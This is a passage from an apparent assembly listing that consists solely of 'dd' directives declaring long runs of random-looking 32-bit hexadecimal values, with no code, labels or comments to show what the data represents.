		dd 0F2DA219Fh, 0E1701231h, 25BC9C4Dh, 0D878275h, 4EA24EAFh
		dd 0AF78122Eh, 0AE4F968Eh, 36D27A8Ah, 631570Bh,	436AF508h
		dd 0CE31287Eh, 58C1AA40h, 151288E2h, 14B7F2F5h,	12E55D5Bh
		dd 0F62EB4Ch, 5B4AF872h, 0B717EE5Ah, 0E28287ABh, 13DD3804h
		dd 4B7AC39Eh, 2E8E2D3Dh, 0F9EFC3D4h, 0F528B1C1h, 94FC282Eh
		dd 88079796h, 5F825BF9h, 5070806Ch, 3EA65977h, 499BEA01h
		dd 0FFBC1B5Dh, 0AD2830B1h, 777113B0h, 0E9607C41h, 7C3BAC5Ah
		dd 0B5B67058h, 0D4B9D720h, 87FC5045h, 6BA8F158h, 0B4217508h
		dd 42C56792h, 0A4571DFFh, 0CBEEEA8Dh, 8DE90B20h, 8D22D93Bh
		dd 2F260FA3h, 0AE4FC9BCh, 7F5ED40Bh, 0E9045447h, 0CEBA0D86h
		dd 7C6809DBh, 60E55C66h, 4A14FCB9h, 5BB4700h, 1B8B5EBh
		dd 5D7290CBh, 0CF13BBA0h, 1D0E659h, 327E9EEFh, 62352974h
		dd 875E0801h, 0FAEEBB8Dh, 3FDB4240h, 1C2003CCh,	5DBD05D8h
		dd 9040987Eh, 9BB850E1h, 46D73313h, 8DFB13EFh, 121EDC2h
		dd 18FCCF31h, 0AB39A02h, 49DE70D3h, 7D112BBh, 100CCE96h
		dd 0E4E943C9h, 0C2D8FE92h, 30174EEEh, 0B4D02F8Bh, 0D02474E8h
		dd 10B7881h, 50BB8279h,	2F96A03Dh, 0BD6F8B47h, 57F2F480h
		dd 0C3A03C66h, 0AD062859h, 1CB3E93Bh, 88B72660h, 295D16FEh
		dd 5AF3F04Fh, 21D83024h, 4E6158C9h, 11BD4728h, 0C55F0B2Bh
		dd 58123FECh, 7232FF5Eh, 52C25FEFh, 6052DC5Dh, 0CB295EF1h
		dd 4201539Dh, 0BA073C21h, 560A6951h, 0CA031028h, 7F304DC2h
		dd 2E75E2B0h, 0E911A509h, 0BD20788Eh, 275B447Ch, 0BE0567Ch
		dd 5E2441B6h, 0ED14EC2Ah, 6F890B07h, 7AAC7620h,	8B1AA8FDh
		dd 80BB8450h, 2175268h,	9C2D598Ch, 16FEF3D8h, 1331FD19h
		dd 108A0F0h, 8DEDF05Eh,	0B2E4558Fh, 0DECCFCF3h,	711E6149h
		dd 0AE47C54Ch, 0F2D1A22Ch, 1A1148B0h, 643BED01h, 60F00923h
		dd 59818F09h, 0BE6CE03Bh, 280900B4h, 0A5B9DBE3h, 21655B7Ch
		dd 0F0292090h, 1F29F2Dh, 9C385E76h, 43977835h, 12819D01h
		dd 0AE05CD83h, 1689EC05h, 0E84E52F2h, 61EA1390h, 4801CBBFh
		dd 0E51C5D6Ah, 0D0A99CFAh, 0DBF4324Ah, 6811408Bh, 13346525h
		dd 0E9CF1D44h, 8396A44Bh, 49BF1C6Eh, 3AE1B1D1h,	0AC4E772Fh
		dd 0C82116C9h, 1E702E08h, 64F3D75Ah, 0D891BA86h, 1CE036C0h
		dd 914379E9h, 0F12DBC4Dh, 0BE581D84h, 0E459FCB6h, 0D84684h
		dd 77C2BB53h, 0F1084BC3h, 0B3EC8D8Ah, 0B03144F4h, 247BA179h
		dd 52E9A392h, 0CA0CD7F6h, 4F281A7Bh, 0DC10F2D1h, 0CEA8D631h
		dd 2B04FF05h, 0ADC24D01h, 0EB0A87BFh, 58F9F877h, 5829F2DCh
		dd 2BB67ECDh, 0BA7AA73Ah, 45B5DE01h, 0E25D0908h, 0C0B72C0Fh
		dd 8803273Bh, 93FFC780h, 30B705E7h, 68CFFEA6h, 250FC325h
		dd 74FB2B6Eh, 1EF080E2h, 36100D64h, 841D701h, 4226B92Ah
		dd 7C14176h, 0BF5B14C2h, 0D6D888B3h, 0A06BF57h,	4F34D337h
		dd 0F056F6Ah, 0BE22C5B6h, 332948E1h, 3427A416h,	0FC2CEF89h
		dd 599D404Ch, 975E949Dh, 0E98CB875h, 97B049D3h,	7A69FD5Eh
		dd 0A880E84Bh, 7E9CE4B9h, 0F8294A9Eh, 75FEB4C7h, 848DF9A5h
		dd 0CDAE9FE9h, 95FCE001h, 0B8C41197h, 0C21FFA2Bh, 0FEE61F79h
		dd 6889DDA5h, 0C8B95B77h, 0D7720B29h, 206ACE7Dh, 814CC9B7h
		dd 0F12E16FBh, 0A8ED5500h, 9DB01318h, 0DD20CBC0h, 0A87A719Fh
		dd 60E5418Ah, 2560F869h, 4052C745h, 0D17D5051h,	907102CCh
		dd 76768EBh, 0D143BAA2h, 0C9F1DF09h, 8841558Eh,	9F862012h
		dd 0F7584001h, 0C7ACE0DEh, 26406697h, 72497F61h, 2D5CD202h
		dd 0CC26E259h, 0DC35140Bh, 25FB6240h, 0D20C9D53h, 6BBA9F3Bh
		dd 0A08FD758h, 0A87DE5C5h, 6E48C443h, 5AF08BBBh, 0FA68F681h
		dd 0BAD08C3Bh, 0A604921Eh, 0D2AE4A93h, 0E80C07ADh, 0F19BCECFh
		dd 0FF70E1E4h, 0EA5FACE3h, 5816E755h, 549CB4DDh, 0BEF04BBDh
		dd 5037B8Ah, 0E96A3126h, 5668F892h, 601BF0F7h, 985043A8h
		dd 13F196EBh, 4EBCE947h, 8ACC565Dh, 0C04BE53h, 2924304Ah
		dd 478290EBh, 3850022Eh, 9F4193BBh, 0D841E13Bh,	28285FCh
		dd 0F54F5A8Ah, 0A040ABE2h, 2C1257A7h, 5BE2126h,	341E0D7Dh
		dd 0CBBB5EB0h, 9E7FCFC9h, 0D1F70649h, 0F74BFE68h, 0EB19E22h
		dd 0F6F39C1h, 1093014Fh, 29170819h, 0D27C27F9h,	0BB55272Ah
		dd 1E2E1F8Bh, 0E91B4554h, 55B90C1h, 0F2286ACFh,	8C248731h
		dd 428CE617h, 41067F77h, 0ADB40082h, 8FA0F275h,	77125FF6h
		dd 0EAB467A1h, 9E9806EBh, 0FB012745h, 6BAE3124h, 0EED4E89Dh
		dd 5FC32563h, 7F95BDE4h, 295AC903h, 7B1712EEh, 39397114h
		dd 10368482h, 50DD4105h, 0DE6495E6h, 0DEBCB62Fh, 8B1C5917h
		dd 277DE93Ah, 401FB88Eh, 0B95121F9h, 0FE3A2560h, 0C1015DCh
		dd 0C98DB21Dh, 0B41ABFD5h
		dd 5758C4A9h, 64C13E24h, 0B7D2E2h, 0CE25C02Dh, 0C8015318h
		dd 7A5CFDAEh, 125B80Ah,	2DEC353Ah, 7F1FAFE9h, 0FD4B34E7h
		dd 8DB4103Eh, 0A0535613h, 0E2486EF3h, 0EBED0063h, 0E926850Eh
		dd 19AE4CE7h, 435CBAC0h, 574C6756h, 93E0BECh, 0AE4A02B7h
		dd 0BFC72515h, 0A02F33A1h, 2641C053h, 0ADC2572Fh, 3F214897h
		dd 7224CE62h, 0D0BC3281h, 93B9E32Fh, 0EA0238E6h, 113E1987h
		dd 897A8FDh, 0C4685F02h, 4E65FD20h, 0D39AF5A5h,	49BD5977h
		dd 7C5FFF32h, 0BE0A0C2h, 4ADA68F5h, 0D38238Eh, 0F94E2EE9h
		dd 64197592h, 0BEC23DDFh, 2D247089h, 1390D057h,	2F664E9h
		dd 78CA681Ah, 0C2A5995Ch, 26FB7771h, 50828A24h,	0E13A2270h
		dd 3CADF959h, 239FE2F2h, 0FA4B5D4Bh, 4982DD36h,	4A542C33h
		dd 0CD685AC1h, 3C84CD2Eh, 414476C1h, 0C680BF0Ch, 3D7D34B9h
		dd 0F649082Fh, 248F027Fh, 0A37209B6h, 4B160B0Ch, 4170C36h
		dd 89F53857h, 19F5EECAh, 0FDE4D0A5h, 0F1827827h, 0EAD54BFCh
		dd 7F2DC2E1h, 0CC66610Bh, 7DA3CA95h, 9A68EC83h,	0B0BBACCCh
		dd 9AE552E9h, 0A2C70BC2h, 0E9497A3Dh, 0C0846EFh, 0C209D5B0h
		dd 42BFE90Fh, 0A8F0C531h, 67733FA2h, 0FDD202Fh,	41FBD24Bh
		dd 317EA805h, 2D6C6073h, 0B08F27B9h, 0FA374611h, 0BF5A4856h
		dd 663EE504h, 5503AE1Bh, 0BCC943EAh, 8D4F72ACh,	2896F4Eh
		dd 4087E0C5h, 3753DD88h, 5BDA51EBh, 9675E659h, 0EB41FB0Bh
		dd 0E9017B09h, 81E15040h, 51443C9h, 6E058F0h, 56F129C3h
		dd 35F40118h, 7EE917C6h, 0ACC2835Dh, 13360368h,	20EF4845h
		dd 0AB51A5BFh, 0C2890A26h, 46C6EA81h, 5F7CB5DAh, 0FD8B7F13h
		dd 0C3888D7Bh, 34EDF28Eh, 1FC5186Ah, 0D9288B5Eh, 737A7D20h
		dd 33F43552h, 0C0076B96h, 258505EAh, 0EE5A0CACh, 6730DA0Eh
		dd 69DE10C3h, 7DE7923Dh, 67DDB0ABh, 7A562597h, 8C3D97Ah
		dd 0D82FF8B2h, 38FD305Fh, 4B3AF55Dh, 4903458h, 9F44A4EDh
		dd 5DEA60C0h, 82C25029h, 641A2483h, 0EFA112E4h,	0D9BA3F13h
		dd 18EE8BBDh, 0F99BDDB3h, 8A54CDCAh, 59CB5F1Fh,	8DE6568Ch
		dd 3B2BDCB8h, 3668F344h, 0B90D30FBh, 0D57203D0h, 0FAF3BB3Eh
		dd 0F302665Ah, 0E66A5768h, 0B7DB818Fh, 121AB2C0h, 0ABB10FE9h
		dd 0E157EB73h, 188180CAh, 227E0BBAh, 85FC426Eh,	5CB7EAE6h
		dd 5C04CBFAh, 4E051676h, 17ACDC0Dh, 0E558AFD1h,	40742627h
		dd 0E9271753h, 684D800Ah, 53955D56h, 0EB5E895Ah, 0DD92FF79h
		dd 4C68EAC1h, 1118912Dh, 5DE8A595h, 3E2F3505h, 0C3C52940h
		dd 0BBEF595h, 0E102C06h, 670C52C9h, 10DAF763h, 9C6401D5h
		dd 0E9D0899Bh, 5E747C30h, 10FEA6C5h, 5D25DDF3h,	5E278845h
		dd 0C2B27BA9h, 138967F7h, 5BC4B6DAh, 0A4ED2BD2h, 48F65A9Fh
		dd 4A303C20h, 5EEF7F88h, 130B2632h, 0A8D916A7h,	2FC2906Ah
		dd 0A1E746B3h, 0EF041FFEh, 0EFD309B6h, 0F95DABCFh, 0DEA6E909h
		dd 0B1515401h, 8C9DE02Bh, 49987E97h, 91787089h,	90EAE5BDh
		dd 82B250D3h, 9122DE41h, 0E0C04A03h, 34E02C02h,	0D87DF6C2h
		dd 0B6523001h, 2498E916h, 58AFEF55h, 8B07E8AAh,	931524B1h
		dd 84502A9Dh, 5485800h,	5E1A7BC6h, 0DBF23D2Dh, 10102Ah
		dd 0F425E0D1h, 0D28BF4Ch, 0BE04BB7Ah, 83E95109h, 7288CBA0h
		dd 0EC57DF0h, 0A4EE805Ah, 0C6BAFA1Ch, 8032AACAh, 45F5666h
		dd 0BEE68659h, 0BFB42716h, 60C5419Eh, 709C20Ch,	5ED03A9Ch
		dd 23360999h, 10543AF5h, 81169BDCh, 0FF2E705Eh,	0BE46910h
		dd 2124816h, 684E9D8h, 574ABEE6h, 539E8EF8h, 0E42804FAh
		dd 0E7C102D0h, 2E77006h, 0B74D454Ch, 79DFFB31h,	0E950E0FDh
		dd 0F1A8315Ah, 0D54EB252h, 80511FEEh, 0CCFE3BB4h, 0E17A8851h
		dd 0CB124BB0h, 0B2FFD3F6h, 100D53B4h, 800C590Ah, 9106C8F7h
		dd 667EEFECh, 7760F52Fh, 0E38D56B0h, 0E16DFE51h, 8109741Eh
		dd 0A18F675h, 0C20C7344h, 1DC00655h, 2332B7E9h,	0B95EF05h
		dd 7DE51B73h, 555E0802h, 0DF4219D9h, 4E8009C1h,	0D0955976h
		dd 515BC7B2h, 95C6EAE0h, 0B802B15Fh, 0D88F323Ch, 26FEC34Bh
		dd 9453A60Ah, 9646782Dh, 78A5108Ah, 0E9806EF9h,	4BE189C7h
		dd 0CDDA12BEh, 93E83A32h, 0D365AEA5h, 0DAE27D94h, 0D6759D9Ah
		dd 0C87CAFA9h, 0E8042979h, 514DF6DAh, 0C03F1768h, 0FD7DC6D8h
		dd 68015758h, 962F0858h, 0B1F72000h, 0B0F35E4Bh, 1512050h
		dd 0B1ADB050h, 3564E90Eh, 2AEF2EB1h, 8EFE4AA2h,	0E25C2F40h
		dd 0F9537F10h, 68933F4Ah, 813E85DDh, 22B06B7h, 7D2D925Fh
		dd 65134547h, 0F3FEAB34h, 9BC30219h, 77B7AB45h,	3D92CA2h
		dd 0A8613425h, 0FF64F6E9h, 23A042Dh, 0AA056559h, 3BE834F1h
		dd 335C0F25h, 794E829h,	7FB6E90Ah, 0C9D62536h, 88D3018Ch
		dd 31B85A29h, 9D07D467h, 2544E12Dh, 0CDC448F7h,	7BCE8AFAh
		dd 0F385AC25h, 69824236h, 7F490A54h, 649EDF9h, 271B531h
		dd 71A06856h, 11E3110Fh, 39EE15E9h, 49B5844Fh, 18DF112h
		dd 6F90DB59h, 6E642899h, 8311333h, 117A022Ah, 80F59A0Dh
		dd 0B5273C02h, 75095CADh, 0E9FB8707h, 60728957h, 50262C78h
		dd 2EBFC9DBh, 0BA9A02D9h, 228ADFBFh, 0D2CC3D6Ch, 0BEFE124Bh
		dd 3BA99210h, 2F5CD262h, 414D5450h, 7355968h, 0FEB0EFA4h
		dd 0F081E241h, 770C04E7h, 8BC80130h, 0ADA84E8Eh, 0A0CDE9E3h
		dd 2B09B9F8h, 5F4B6A6Eh, 0C3A18D60h, 2180A51Bh,	0D831CFE8h
		dd 803AAA2Bh, 0BA3BF820h, 962D7B3Eh, 0A05973Eh,	70905D8h
		dd 1B4ED55Bh, 0D953582Eh, 5525D810h, 0CDC2DFFEh, 0B2F38359h
		dd 4F77A170h, 6D358571h, 0C62BE42Eh, 0C49062AEh, 6678709h
		dd 10EA42B7h, 0C68F66E5h, 46DA89E4h, 0D830AC02h, 66010368h
		dd 19B53F5Eh, 0F580CD84h, 81B6F2C2h, 0C8FEE888h, 0D67AC82Fh
		dd 148B3580h, 0E82A2D42h, 9FC77B2Ah, 3E575980h,	0F0B912AAh
		dd 8D47FB02h, 4A55DE0Bh, 0BEF23442h, 923E0763h,	0DC5177FEh
		dd 939CC60h, 0AC9FC4Bh,	6A5C6410h, 0D83802D4h, 928BD754h
		dd 0F642B809h, 10F6E35Dh, 4EF6F99Ah, 0BF38D2B9h, 3A7E668Bh
		dd 1B785600h, 0C09F565Ah, 274B4265h, 0A4C2E424h, 0A194B05Dh
		dd 0B32C80DDh, 97F0283Ch, 0D0AA0155h, 0E13D365Fh, 0B9F3BF6h
		dd 104DF7D9h, 0E5B25F27h, 0FDC29C5Eh, 33187509h, 0BD8095C6h
		dd 0F47F1617h, 1E12FB43h, 13A9B3BAh, 0A757299Bh, 38686CA0h
		dd 0EB4A468Ch, 9DD52728h, 96C7357Eh, 2FE8FE35h,	79DEF280h
		dd 0CC1735Bh, 23311056h, 1240D620h, 0A559D04Ah,	8508053Ah
		dd 800D47C4h, 0DC2843F3h, 940F9FD1h, 4E55BB14h,	0D6EE1CAEh
		dd 0EE202599h, 724417A1h, 0BF9517FBh, 135D75D8h, 416648E9h
		dd 0F54735DFh, 79107061h, 1E207341h, 7F938h, 7CC580FDh
		dd 20BDCCB5h, 0B904D78Ch, 4A562536h, 0AA4BA6ECh, 0EA1B7981h
		dd 17204025h, 0EEAF24CEh, 5D5B01ECh, 3A047568h,	6D9BE230h
		dd 0AB1D5B2Ch, 329CA974h, 68BE4037h, 7C5E0C27h,	0AEEF709Ah
		dd 74861A17h, 4B104C16h, 66B95A08h, 76F123CEh, 0C662A624h
		dd 0A008EE8Fh, 7030054Dh, 90C75ECh, 0B086EBC7h,	607F140Bh
		dd 2AC20110h, 4D22E3E9h, 21130F3Dh, 181CA6F8h, 681AF370h
		dd 0E9725B29h, 5F1F92B7h, 2581B114h, 9FBF009h, 61993421h
		dd 0B001A1AFh, 825F2468h, 1C90E90Ch, 7F746A82h,	4D7F05FAh
		dd 73EEE504h, 62EE2787h, 35DEEB45h, 0DA296607h,	4A3FC83Ch
		dd 0B1EE913Ah, 0CD168611h, 190A1D4Fh, 2B40B2C5h, 291E9D57h
		dd 24C21072h, 138BA25Dh
		dd 30A82B10h, 81E2B0B4h, 4D8FE31Dh, 1B1E6153h, 1E2C6702h
		dd 72965509h, 9B20B998h, 0EB80048Eh, 83CBFE7Ah,	4CE93F85h
		dd 77B26D08h, 20734D25h, 0D1347F79h, 116B026h, 6FCE059Ch
		dd 2F042CE9h, 6C48B1F3h, 0F735B632h, 5E8BAFFCh,	83B7C29h
		dd 562D4B87h, 0D7638CC6h, 0D695D571h, 738A6D8h,	1F136189h
		dd 0A72CBB69h, 1E120ADCh, 44026EEDh, 0C0F24CABh, 577C7F6h
		dd 0E9052125h, 4949BA88h, 8B9457C8h, 54545126h,	80A5561Ah
		dd 78146132h, 0C7CA5101h, 9D1C0806h, 7826D276h,	0FE2B82BDh
		dd 0CC856852h, 9FBCB04Ch, 0E4EFCA26h, 0AF70599Fh, 0DF02BFFh
		dd 647E29C2h, 0F1E217E5h, 23F502DAh, 910A0709h,	55771A82h
		dd 288845C7h, 8F246968h, 5CC9D392h, 0E456A0B2h,	0E6CB7825h
		dd 495B6DFCh, 26C42EA4h, 0F4B43AECh, 63A9B7C5h,	22853054h
		dd 2D687D40h, 0A69A4448h, 0D7482957h, 7B779BCAh, 0DF4CCFA6h
		dd 0C2043B4Ch, 0EEDE840Fh, 50CD8EAEh, 18B45133h, 7DE8424Bh
		dd 90C84B73h, 0BF058022h, 15B77667h, 0FBF39788h, 0B523D6CCh
		dd 0E6C87543h, 0F21D4E20h, 0B1A6C117h, 54A43109h, 0C29C6520h
		dd 0E080D6EFh, 288645Ch, 13D27CB8h, 95C046A4h, 8B7838D8h
		dd 5CCDF49Fh, 0E9DFF705h, 63E9BDA5h, 2B9DE24h, 7887BDBh
		dd 319FD86Ch, 0D7251DD6h, 0FEB2563Eh, 0D3D94084h, 34E90D85h
		dd 0BAA25D05h, 95B72F78h, 0F998BDC5h, 381FB289h, 0D30723B3h
		dd 0E2D8285Ah, 0F9790556h, 12D0594Bh, 0D303866Ch, 0E6D8462Dh
		dd 0B6EEC02Dh, 512EB731h, 0F639B10Eh, 0C0D140D9h, 0E68003E9h
		dd 0B8DDEAE2h, 5BAA8638h, 50E7F384h, 56061BC5h,	1FBD6FFDh
		dd 0E7314F0Bh, 0B8E90979h, 4B796498h, 947CAC5Ah, 7B91100Fh
		dd 0B020926h, 0F210605Eh, 0B727994Ah, 0B7FED0C7h, 856F6803h
		dd 16D6C458h, 40BF2D5Bh, 32BC05E1h, 13E779Ah, 0E90750F8h
		dd 279B092Fh, 5382CD6Eh, 0C3F377DAh, 0E254AD3Dh, 26955D3Bh
		dd 4EA9A039h, 0D213EF52h, 9D9A848Ch, 6DB44E00h,	0A7A0E4C0h
		dd 7897F1F4h, 16F25F70h, 637FFF9h, 0DD9C57C2h, 0BC0CEA38h
		dd 993C0C9Bh, 29106FA2h, 9DC19A20h, 4E12E7C4h, 2098FEECh
		dd 0FC91F329h, 0B7530289h, 86F828D8h, 80240CC8h, 824EDAC5h
		dd 7769C2F5h, 9CB8FFCh,	0E1F35FACh, 13B55BE9h, 0AAA68552h
		dd 0E9C204F3h, 0A0FF69CAh, 6215D628h, 0EC5D4F0Ah, 2A198127h
		dd 129759E5h, 979AC05h,	702CFAFh, 78A9E930h, 8FB8045Ch
		dd 0BF69FA66h, 4ADA584h, 24E90B40h, 48AFBB02h, 0F001C2D5h
		dd 9079EEF5h, 87F65523h, 41103946h, 0D0A45263h,	69B937C8h
		dd 687B0D18h, 25369E6Ch, 8FD4BBAh, 0E82508B1h, 82B821B6h
		dd 8374825Dh, 0BEA1C9EBh, 0F70161F5h, 2A9D041h,	2BA68D6h
		dd 0A20ED891h, 4902E7FEh, 5D3F2B40h, 0EA89DD84h, 7B58CAA3h
		dd 783A802Dh, 51A9DE5Fh, 0DFE83E93h, 782D4296h,	6CC7FEF5h
		dd 71C4FE25h, 0B1F96E53h, 22A840h, 811EA07Bh, 2BC831C6h
		dd 8E91709h, 0D3562EC3h, 0EDC7C4BFh, 215CC5A6h,	0B8D368B6h
		dd 0DB43E170h, 49F8382Ah, 59F75166h, 0D1DCEBA6h, 0AA709D82h
		dd 0E9A0DBB8h, 0E32F12C4h, 76885D20h, 4E90908h,	2E0524E1h
		dd 689302FEh, 8959033Dh, 4253CD83h, 903A3A65h, 80C5A3AEh
		dd 6E8D2040h, 85B8C229h, 22F7CA0Fh, 0D2143DC1h,	1B5D04F8h
		dd 0F8BC6353h, 7E64FC5Bh, 0B410D76Eh, 0BB5905FAh, 0D0FA4A4Eh
		dd 8C14EAF5h, 9490703Ch, 2935AD0h, 0CE80668h, 0A5CE457Bh
		dd 0DB688510h, 0C024214Ah, 5F620CB4h, 0B5DEE823h, 5A61F982h
		dd 0DD01258Ah, 0B6113C5Dh, 2AB400A7h, 0C058E588h, 10C4ED58h
		dd 0BF01FFB1h, 642321CAh, 3FB07F31h, 88F4BDFAh,	0B14E5D58h
		dd 0E0920806h, 6CB86804h, 0EB2F30ABh, 6302116Dh, 8612E94Fh
		dd 6A3BD5FFh, 8114E6E1h, 3149EF19h, 0A020450Bh,	9085E237h
		dd 84FD6002h, 0D7689BF5h, 0B4A95B0h, 0EC2AD5A1h, 819CF53Fh
		dd 6F0F4DC5h, 6CDEF92h,	0F380B26Ah, 0D444CCD2h,	9B4ADD1h
		dd 2330EB6h, 5D28FD9Ah,	5900A0E7h, 0E6685655h, 17EB1644h
		dd 2E2D055Eh, 0E0D58DA3h, 35B2D7F2h, 22F2D84Ah,	6614B590h
		dd 0EBB4A235h, 0AAD31DA3h, 0BD34F4h, 3CAE2089h,	0D847C1B9h
		dd 76FA57Fh, 0A3A6F270h, 9E575BC9h, 0CDC9F83h, 0E4D14D09h
		dd 0BF84F02Ah, 96D5530Bh, 201418Fh, 682332A2h, 0BEF4F4F2h
		dd 40E6B73Bh, 3FD7F320h, 41AF5055h, 5B5FB4C2h, 49E92662h
		dd 4168FD06h, 7C58C182h, 0EEF58D77h, 0E004D9DDh, 0A8685B54h
		dd 11871362h, 0F4880057h, 0E6E8D4F6h, 0D8586625h, 782570F3h
		dd 80593ECEh, 0EEC01D7Dh, 93F68F06h, 0B808EB24h, 0CBC33A9Fh
		dd 730924BEh, 1CF2DDACh, 0F8F6D477h, 6C4B64E9h,	0D8BB2520h
		dd 233C2C2Eh, 605194Dh,	0FDC96E08h, 0B6D086D4h,	17DD1F26h
		dd 0EF5F53BEh, 8BBA1C85h, 2FE98324h, 0ADAA8414h, 2AAC9255h
		dd 641CE9A1h, 4A775E1Bh, 0BB73372Fh, 0EAC7DA8Dh, 3FE5568Ch
		dd 2CD6E202h, 0C05740CDh, 5AD368C8h, 4079F66Bh,	395E741Eh
		dd 49DE1BB8h, 0B5E4426h, 587D7469h, 5F8036F4h, 0A5EF5B87h
		dd 2DB209Fh, 2521514Ch,	7B1054D4h, 9D7AFEF9h, 6C45CD1Fh
		dd 80BA47BEh, 1B62FCDAh, 0C094798h, 0F34802Dh, 72168E5h
		dd 4AD2C59h, 0B7C9C1D0h, 0F9AB0472h, 0EB39C288h, 92EEDFFEh
		dd 16CFA934h, 2EB87181h, 7A4FB05h, 8F350FBEh, 0ECFE8906h
		dd 445DA58Dh, 7035F62Fh, 68378420h, 0CBFFD928h,	0BD62600Fh
		dd 0F8620925h, 0F0F80938h, 16078020h, 0FF496CE9h, 31264BCBh
		dd 0A206EB9Ch, 262C3744h, 0BC42424Fh, 0C2700B2Fh, 0CACD7CA1h
		dd 46B4951h, 38C81237h,	0BA4B168Dh, 96CA001Ch, 40062241h
		dd 7D19357Eh, 0A26619A4h, 3305633Dh, 0FEF63FF5h, 1A64A41Bh
		dd 226DDFFEh, 90051457h, 80E912BFh, 0C0ACF8C8h,	0AE79D7C7h
		dd 0DDDCBF47h, 1CC30820h, 2DDE1154h, 9831313Ch,	3A22F5Fh
		dd 0D0F01EC9h, 7913BF74h, 0DAC441B9h, 0B10EFCBFh, 50B856E9h
		dd 80F72882h, 566025EFh, 94BFE8A9h, 0F8F20BBh, 0BBA482B5h
		dd 7CBE0006h, 391F5724h, 3C0BF221h, 4ECF7FEh, 43A482D7h
		dd 9A1759CFh, 122C4B9Eh, 0E1EDC22h, 0A060A554h,	0B445B015h
		dd 0C8E96197h, 0C29F9CC3h, 1F907905h, 800C8C9h,	97E4D2E9h
		dd 0E9EF72FEh, 2BFAE60Ah, 2575A493h, 1C4BFA48h,	0D10C5C00h
		dd 0FD5405E8h, 0CF706986h, 30158DFh, 0A337510h,	8005424Ah
		dd 937E6997h, 3E9B10BFh, 19D20393h, 7810A336h, 0B2506CE2h
		dd 0B57BBABCh, 0D5145BD4h, 0C847398Bh, 125E8135h, 0B82E09B4h
		dd 25A906FBh, 50C4570h,	3468BF4Fh, 0C550D031h, 0D32D2354h
		dd 0E49D63E7h, 57504F81h, 0BE498A44h, 0A1D9755Ah, 0BBA14D93h
		dd 0A418B92Eh, 0B4A7CC2h, 0BD550FE0h, 0BC6B7D1Ch, 40350E6h
		dd 9623B1Bh, 500BC8B0h,	0EC4123D0h, 7932D721h, 3A848DD3h
		dd 134817B4h, 0FA1FAA7Fh, 40071210h, 93958E99h,	0A8A4C11Ch
		dd 5A9ACDE3h, 0BE846748h, 358DFB21h, 416B68F9h,	2CB9EBA9h
		dd 0F9B843BDh, 2994AB40h, 70F2534Ah, 68D31373h,	1470BD95h
		dd 63DBB9Eh, 67E35A29h,	0F1DB010Ch, 9BE9EB34h, 86612BCFh
		dd 1398FC80h, 773B4768h, 87D9D1C9h, 6322753Eh, 18A577F5h
		dd 7B87E180h, 5A601B28h, 2088A5BFh, 0ED6BF577h,	19CA5791h
		dd 0C1EAC057h, 73F70131h, 8CE40BAh, 88EF408Ch, 5D1DAB30h
		dd 0EB2F2BE9h, 0BD989409h, 0F8034FFCh, 97E2E767h, 0A72BF953h
		dd 4540A8CAh, 262F73F6h
		dd 542B8E08h, 306E6208h, 0D81275EBh, 0DD1CD63h,	2641DA52h
		dd 106CD479h, 0B70270B0h, 3108D109h, 1D0EC0EEh,	1DE69D06h
		dd 668CBA04h, 0E0C2461Eh, 0BFDCA3E3h, 7E48D9CFh, 72898A83h
		dd 86041B86h, 4F0E5AB4h, 57BA9294h, 9101BF03h, 629631Eh
		dd 0B2B37882h, 0AB828979h, 0EEF7DF22h, 0D54A50B4h, 9834719Dh
		dd 0E9DA096Ch, 2AC4FD40h, 0F75E7198h, 5F8D85CCh, 6E38AF9Ah
		dd 20ED4A5Ah, 3562D59h,	756B6425h, 6452D441h, 6F0FBE97h
		dd 448D1A73h, 3FA3D103h, 0AA58004Bh, 4B5EF52Bh,	0D00B0390h
		dd 8466A23Ah, 0B91D4F09h, 9DB32A6h, 6D13FECBh, 94D133C1h
		dd 4081C511h, 19487AC9h, 62762D89h, 7487DE2h, 31242380h
		dd 0A213BE7Bh, 0EB84C1F8h, 121A0005h, 4AE9FB61h, 0CBF0F4F2h
		dd 50680904h, 0B3AC4B34h, 0A14C31B0h, 0F1046E7Eh, 35ED4339h
		dd 79A7D8EBh, 21E907BFh, 648B04B9h, 0EF2153BEh,	0CD308358h
		dd 50AA2765h, 0B40DF374h, 7841F76Bh, 55D67FC5h,	1159E022h
		dd 6813D0C6h, 298C7B42h, 0A3944A0Ah, 30C72473h,	2C09C8ACh
		dd 72927486h, 6702B78Eh, 4DDE316Bh, 0F050912h, 41AE78C9h
		dd 0AA68022Fh, 3DB42657h, 488D676h, 6CA74F27h, 0A9AB22C2h
		dd 3AD1D754h, 13D2CAE4h, 0B8F360FAh, 4D211284h,	40220962h
		dd 0DD405ED0h, 0F3384F68h, 93F37D61h, 89CA5DDDh, 0A51EB84Bh
		dd 55823AA9h, 0EAD55D5Eh, 83D3FFBBh, 54E9DC2Fh,	686F219Dh
		dd 0CA661F6Ch, 5E7D5D10h, 89E75EAAh, 52C493A8h,	108F5648h
		dd 0AC4BDB98h, 0B053DB8h, 0FDFD41F1h, 25FB629h,	7513B318h
		dd 53C198BAh, 0BD6600CDh, 766A74ABh, 3BF0BE45h,	6BB4B5CAh
		dd 0F95A7FF9h, 0E8291393h, 61C44904h, 67DD5D1Fh, 0E6BFB64Eh
		dd 0C0E91035h, 9BA3E01h, 90E0765h, 0DD40F759h, 4D4F16E9h
		dd 0CBD340BBh, 31E73659h, 577DE590h, 0E9BBEF04h, 0B61745F8h
		dd 95D73EA0h, 27F0F12Fh, 65DCDE8Bh, 13CCE958h, 5FE411D6h
		dd 5605055Bh, 0E07FFB6Eh, 4240039Bh, 911B0F35h,	0E14547BAh
		dd 54B8338Fh, 297DDACAh, 6FFB2025h, 0D05948E8h,	5C4C07CCh
		dd 4ED3D010h, 125609CCh, 0A86B1A68h, 6FA977h, 2640CE24h
		dd 0DB05BF7Eh, 31503F6Ch, 0EF83A8C1h, 54E78282h, 0BAE3E616h
		dd 3E2E10CBh, 8F0EB102h, 293FA314h, 85840FEh, 0CC8995Fh
		dd 61A0EE63h, 1AC39D3Ch, 7D10C932h, 681652D0h, 7064347Bh
		dd 2CDB1ABh, 0E80C4FF6h, 80329A8Ch, 5F014B98h, 633A963h
		dd 5B0A2AFCh, 7EE51DAh,	29A29268h, 0AC76D962h, 0C12F6E58h
		dd 0BC610D5Dh, 0FEBC3B4Eh, 2F221750h, 0E5280540h, 140C3408h
		dd 0FE341717h, 3C01F8D6h, 6BE49256h, 19C953ADh,	0FA013FA2h
		dd 404D327Fh, 2D73559Ch, 885F20C5h, 59130847h, 0ABE064EBh
		dd 782CCEF3h, 96FDA75Ah, 12172FC9h, 80EAA9F7h, 1E6A671Bh
